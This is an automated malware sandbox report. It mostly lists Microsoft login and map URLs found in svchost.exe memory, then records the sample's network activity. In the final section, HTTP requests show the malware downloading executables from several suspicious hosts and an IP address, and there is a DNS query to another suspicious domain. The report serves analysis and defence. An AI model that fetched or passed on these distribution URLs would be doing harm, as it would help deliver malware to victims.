Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfn
Source: svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=805023t
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502f
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502lt
Source: svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806010
Source: svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601t
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603f
Source: svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000000A.00000003.299886120.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300081747.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806044
Source: svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604A
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604anageLo
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295929266.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294147498.00000159C2967000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281377662.00000159C2977000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606ests
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAh.0
Source: svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srcfg:GetAppDataServicedctcehresholdquests
Source: svchost.exe, 0000000A.00000003.281590314.00000159C2929000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281395324.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281306908.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000A.00000003.295899155.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296794174.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000A.00000002.579083943.00000159C2294000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cplStores
Source: svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295947348.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285004820.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295938252.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296239192.00000159C292E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295780941.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296096307.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293955641.00000159C2991000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOUser.sr
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281480432.00000159C294E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.627142562.00000159C3098000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281480432.00000159C294E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281320599.00000159C293B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281812532.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf2
Source: svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf57
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281638546.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379856179.00000159C302A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.572982300.00000159C225B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.379914727.00000159C3037000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srft
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296070984.00000159C30F6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281581078.00000159C294C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfmous
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srft
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.605447423.00000159C2302000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297762903.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297613677.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297685112.00000159C2949000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297864916.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf.srf
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf256
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/resetpw.srfsn#
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/retention.srf6
Source: svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/retention.srfpe
Source: svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000000A.00000003.298092187.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf4
Source: svchost.exe, 0000000A.00000003.303277678.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srfn6
Source: svchost.exe, 0000000A.00000003.303407367.00000159C2949000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srfope
Source: svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305381034.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srfpe
Source: svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.comUQ
Source: svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.comg#
Source: svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: https://signup.live.com/signup.aspxs#
Source: svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308554216.000002DD32813000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308051051.000002DD32856000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000E.00000002.308642618.000002DD32842000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308085043.000002DD32841000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000E.00000002.308663972.000002DD3284D000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307901327.000002DD32847000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Code function: 29_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HeapCreate,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

29_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
